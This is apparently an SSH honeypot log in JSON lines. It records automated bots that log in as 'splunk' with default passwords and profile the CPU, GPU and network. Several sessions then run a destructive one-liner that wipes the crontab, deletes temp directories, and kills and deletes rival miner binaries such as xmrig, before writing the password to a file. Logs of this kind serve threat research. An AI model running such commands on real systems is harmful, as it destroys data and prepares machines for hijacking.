{"id":"8665b94e-2268-4dc1-8f2c-4c460e22e81e","name":"quartz-boreal-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"45.153.34.165","src_port":47792,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":229,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T02:12:31.205639+00:00","ended_at":"2026-08-25T02:12:35.101260+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-25T02:11:39.709538+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T02:11:43.857959+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T02:11:44.103134+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-25T02:11:49.109322+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-25T02:11:49.300133+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-25T02:11:54.010163+00:00","kind":"output","latency_ms":null,"data":"4 days, 23:02"},{"seq":7,"at":"2026-08-25T02:11:54.204570+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-25T02:11:58.822611+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-25T02:11:59.327860+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-25T02:12:03.478874+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-25T02:12:03.709479+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-25T02:12:09.326447+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-25T02:12:09.809444+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-25T02:12:15.775937+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-25T02:12:15.996136+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T02:12:18.854373+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T02:12:19.020078+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T02:12:23.317682+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T02:12:23.693394+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-25T02:12:27.889550+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-25T02:12:28.105919+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-25T02:12:30.977418+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-25T02:12:31.207148+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-25T02:12:34.958257+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"splunk","password":"splunk","method":"password","accepted":true,"tier":"other"}]}
{"id":"f915e377-f2eb-42c8-bb19-09f5eea0a2fa","name":"lucid-daring-caracal","protocol":"ssh","channel_kind":null,"src_ip":"45.153.34.165","src_port":57934,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T01:13:40.910094+00:00","ended_at":"2026-08-25T01:13:42.810390+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"d3075879-b261-4873-9c5f-9791ecd79372","name":"obsidian-sunlit-guanaco","protocol":"ssh","channel_kind":"exec","src_ip":"45.153.34.165","src_port":56798,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":209,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T01:13:37.907570+00:00","ended_at":"2026-08-25T01:13:42.808523+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1661,"events":[{"seq":1,"at":"2026-08-25T01:12:50.090131+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T01:12:54.587086+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T01:12:54.814635+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-25T01:12:57.414576+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-25T01:12:57.607063+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-25T01:13:00.291715+00:00","kind":"output","latency_ms":null,"data":"4 days, 22:03"},{"seq":7,"at":"2026-08-25T01:13:00.509381+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-25T01:13:05.701455+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-25T01:13:05.910517+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-25T01:13:09.545615+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-25T01:13:09.901202+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-25T01:13:12.519534+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-25T01:13:12.710716+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-25T01:13:15.861317+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-25T01:13:16.318641+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T01:13:19.488932+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T01:13:19.697573+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T01:13:22.752463+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T01:13:22.916370+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-25T01:13:26.026372+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-25T01:13:26.222347+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-25T01:13:29.960695+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-25T01:13:30.218581+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-25T01:13:34.705682+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-25T01:13:34.914635+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-25T01:13:37.908386+00:00","kind":"input","latency_ms":null,"data":"echo password > /tmp/d.log"}],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"795be882-cbf4-4f25-b1d5-0f646916f8ab","name":"fearless-bitter-sloth","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":33324,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":239,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T10:06:26.733663+00:00","ended_at":"2026-08-24T10:06:31.102491+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-24T10:05:35.235801+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T10:05:40.794143+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T10:05:41.023520+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T10:05:46.006921+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T10:05:46.205109+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T10:05:49.425630+00:00","kind":"output","latency_ms":null,"data":"4 days,  6:55"},{"seq":7,"at":"2026-08-24T10:05:49.593540+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T10:05:53.621204+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T10:05:53.813132+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T10:05:58.081062+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T10:05:58.604841+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T10:06:04.398255+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T10:06:04.707239+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-24T10:06:07.706452+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T10:06:07.985519+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T10:06:13.433072+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T10:06:13.618376+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T10:06:19.554206+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T10:06:19.794306+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T10:06:23.427689+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T10:06:23.686481+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T10:06:26.465682+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T10:06:26.734485+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T10:06:30.891214+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"splunk","password":"splunk","method":"password","accepted":true,"tier":"other"}]}
{"id":"afc340f6-14d3-4f57-a444-5d51c8da4fb1","name":"jagged-fierce-warbler","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.11","src_port":41330,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-24T09:50:15.831306+00:00","ended_at":"2026-08-24T09:50:17.900065+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"d330b0aa-ffca-47a9-9ac5-b760b9eb75c0","name":"breezy-wandering-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":39130,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":218,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T09:50:10.729370+00:00","ended_at":"2026-08-24T09:50:17.901358+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1661,"events":[{"seq":1,"at":"2026-08-24T09:49:12.419789+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T09:49:16.000645+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T09:49:16.298696+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T09:49:20.296851+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T09:49:20.518256+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T09:49:25.141240+00:00","kind":"output","latency_ms":null,"data":"4 days,  6:39"},{"seq":7,"at":"2026-08-24T09:49:25.313104+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T09:49:29.962427+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T09:49:30.238497+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T09:49:35.561435+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T09:49:35.921618+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T09:49:38.678477+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T09:49:38.896470+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-24T09:49:43.421147+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T09:49:43.625895+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T09:49:49.033046+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T09:49:49.245249+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T09:49:53.844001+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T09:49:54.029929+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T09:49:57.385662+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T09:49:58.003356+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T09:50:01.284621+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T09:50:01.503178+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T09:50:06.080811+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-24T09:50:06.291168+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-24T09:50:10.730161+00:00","kind":"input","latency_ms":null,"data":"echo password > /tmp/d.log"}],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"42e7701f-81c2-43d1-a1fb-ea4b37f2591c","name":"brave-burly-merlin","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.120","src_port":43494,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":322,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-22T11:57:52.326248+00:00","ended_at":"2026-08-22T11:57:56.971579+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-22T11:57:03.792947+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-22T11:57:06.500298+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-22T11:57:06.822705+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-22T11:57:09.825147+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-22T11:57:10.118737+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-22T11:57:12.792654+00:00","kind":"output","latency_ms":null,"data":"2 days,  8:47"},{"seq":7,"at":"2026-08-22T11:57:12.988147+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-22T11:57:17.881092+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-22T11:57:18.333087+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-22T11:57:21.061183+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-22T11:57:21.318786+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-22T11:57:25.847226+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-22T11:57:26.518015+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-22T11:57:32.173147+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-22T11:57:32.472195+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-22T11:57:37.756739+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-22T11:57:38.065951+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-22T11:57:41.894676+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-22T11:57:42.306476+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-22T11:57:46.240425+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-22T11:57:46.752724+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-22T11:57:51.623163+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-22T11:57:52.327016+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-22T11:57:56.857206+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"splunk","password":"splunk","method":"password","accepted":true,"tier":"other"}]}
{"id":"af395db6-a1fa-4c24-a09e-aee0d713b06b","name":"spirited-jolly-ocelot","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.120","src_port":45712,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-22T11:55:52.930171+00:00","ended_at":"2026-08-22T11:55:57.222245+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"db199646-e1a5-425c-96dc-7f0fadaf4b6a","name":"pleasant-nameless-plover","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.120","src_port":50652,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":562,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-22T11:55:49.585558+00:00","ended_at":"2026-08-22T11:55:57.221005+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1661,"events":[{"seq":1,"at":"2026-08-22T11:55:25.747549+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-22T11:55:26.644295+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-22T11:55:27.051720+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-22T11:55:27.887421+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-22T11:55:28.449852+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-22T11:55:29.352592+00:00","kind":"output","latency_ms":null,"data":"2 days,  8:45"},{"seq":7,"at":"2026-08-22T11:55:29.905280+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-22T11:55:30.816759+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-22T11:55:31.724096+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-22T11:55:33.719043+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-22T11:55:34.504850+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-22T11:55:36.039354+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-22T11:55:36.203203+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-22T11:55:37.038992+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-22T11:55:37.393692+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-22T11:55:39.441379+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-22T11:55:40.257898+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-22T11:55:42.394423+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-22T11:55:42.878540+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-22T11:55:44.067662+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-22T11:55:44.438568+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-22T11:55:45.357873+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-22T11:55:45.956860+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-22T11:55:47.304561+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-22T11:55:47.898697+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-22T11:55:49.586368+00:00","kind":"input","latency_ms":null,"data":"echo password > /tmp/d.log"}],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
